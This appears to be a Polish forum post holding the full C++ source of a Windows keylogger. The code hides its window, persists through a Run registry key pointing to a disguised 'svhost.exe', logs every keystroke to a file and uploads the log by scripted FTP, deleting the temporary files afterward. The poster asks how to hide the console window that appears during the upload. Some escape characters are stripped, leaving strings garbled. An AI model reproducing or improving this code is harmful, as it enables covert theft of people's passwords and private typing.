Kod:
#include <windows.h>
#include <iostream>
#include <winsock2.h>
#include <fstream>
#include <stdio.h>
#include <Winreg.h>
# define NazwaKlucza "SOFTWAREMicrosoftWindowsCurrentVersionRun"
#define MY_SIZE 256
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "Winrobe";
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HWND hwnd; /* This is the handle for our window */
MSG messages; /* Here messages to the application are saved */
WNDCLASSEX wincl; /* Data structure for the windowclass */
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);
/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;
/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;
/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"Winrobe", /* Title Text */
WS_OVERLAPPEDWINDOW, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
544, /* The programs width */
375, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);
/* Make the window visible on the screen */
ShowWindow (hwnd, SW_HIDE);//okno jest ukryte
//MessageBox(hwnd, "Do you want to quit?", "Hello!", 36);
/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
}
/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;
}
/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message) /* handle the messages */
{
case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
int main (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
char LocalHostName[20];
WSAData wsaData;
if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
{
throw -1;
}
if (gethostname(LocalHostName, sizeof(LocalHostName)) == SOCKET_ERROR)
{
throw -1;
}
LPHOSTENT hostEntry = gethostbyname(LocalHostName);
SOCKADDR_IN MyIPAddress;
MyIPAddress.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
const int isize = 100;
char tab[isize];
sprintf(tab,"%d.%d.%d.%d", static_cast<int>(MyIPAddress.sin_addr.S_un.S_un_b.s_b1), static_cast<int>(MyIPAddress.sin_addr.S_un.S_un_b.s_b2),static_cast<int>(MyIPAddress.sin_addr.S_un.S_un_b.s_b3) ,static_cast<int>(MyIPAddress.sin_addr.S_un.S_un_b.s_b4));
strcat(tab ,".txt");
// close the WSA
WSACleanup();
char windir[MAX_PATH], partname[50];
GetWindowsDirectory(windir, sizeof(windir));
HKEY klucz;
DWORD akcja;
char c_res[100];
char c_bes[MY_SIZE];
strcat(c_res, windir);
strcat(c_res,"system32svhost.exe");
FILE *ok;
if(ok=fopen(tab,"r"))
{
char server[]="open serwern";
char ftpuser[]="loginn";
char ftppas[]="haslon";
char command2[300];char command3[300];
char serv[50];
char who[]="c:whodownload";
FILE * pWai;
pWai=fopen(who,"w+");
fprintf(pWai,server,server);
fprintf(pWai,ftpuser,ftpuser);
fprintf(pWai,ftppas,ftppas);
fputs("mkdir keyloggern ",pWai);
fputs("cd ",pWai);
fputs("keyloggern",pWai);
fputs("send ",pWai);
fputs(tab,pWai);
fputs("nbye",pWai);
fclose(pWai);
strcpy(command3,"ftp -s:");
strcat(command3,who);
strcat(command3," > c:pom");
//------Wysył FTP-------//
system(command3);
//---Kasowanie plików---//
remove("c:pom");
remove(who);
}
else
{
if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, NazwaKlucza , 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &klucz, &akcja) == ERROR_SUCCESS)
{
//zapisuejmy string
RegSetValueEx(klucz, "TheKeyboard", 0, REG_SZ,(CONST BYTE*)c_res,sizeof(c_res));
//zamykamy klucz bo już z niego nie korzystamy
RegCloseKey(klucz);
}
}
MSG messages;
MSG msgKomunikat;
msgKomunikat.message = WM_NULL;
while (msgKomunikat.message != WM_QUIT)
{
if (PeekMessage(&msgKomunikat, NULL, 0, 0, PM_REMOVE))
{
TranslateMessage (&msgKomunikat);
DispatchMessage (&msgKomunikat);
}
else
{
short character;
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
if(file=fopen(tab,"a+"))
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
//rozpoznajemy, który klawisz został wciśnięty
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_F1:
fputs("[F1]",file);
fclose(file);
case VK_F2:
fputs("[F2]",file);
fclose(file);
case VK_F3:
fputs("[F3]",file);
fclose(file);
case VK_F4:
fputs("[F4]",file);
fclose(file);
case VK_F5:
fputs("[F5]",file);
fclose(file);
case VK_F6:
fputs("[F6]",file);
fclose(file);
case VK_F7:
fputs("[F7]",file);
fclose(file);
case VK_F8:
fputs("[F8]",file);
fclose(file);
case VK_F9:
fputs("[F9]",file);
fclose(file);
case VK_F10:
fputs("[F10]",file);
fclose(file);
case VK_F11:
fputs("[F11]",file);
fclose(file);
case VK_F12:
fputs("[F12]",file);
fclose(file);
case VK_MENU :
fputs("[ALT]",file);
fclose(file);
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_NUMLOCK :
fputs("[Num Lock]",file);
fclose(file);
break;
case VK_INSERT:
fputs("[INSERT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['"]",file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
}
}
return messages.wParam;
}
Mam taki kod wszytko ładnie działa ale gdy chce wyslac logi na ftp to pojawia sie czarna konsola cmd, a ja chce żeby sie otwierala ale była niewidoczna. Pomozecie ??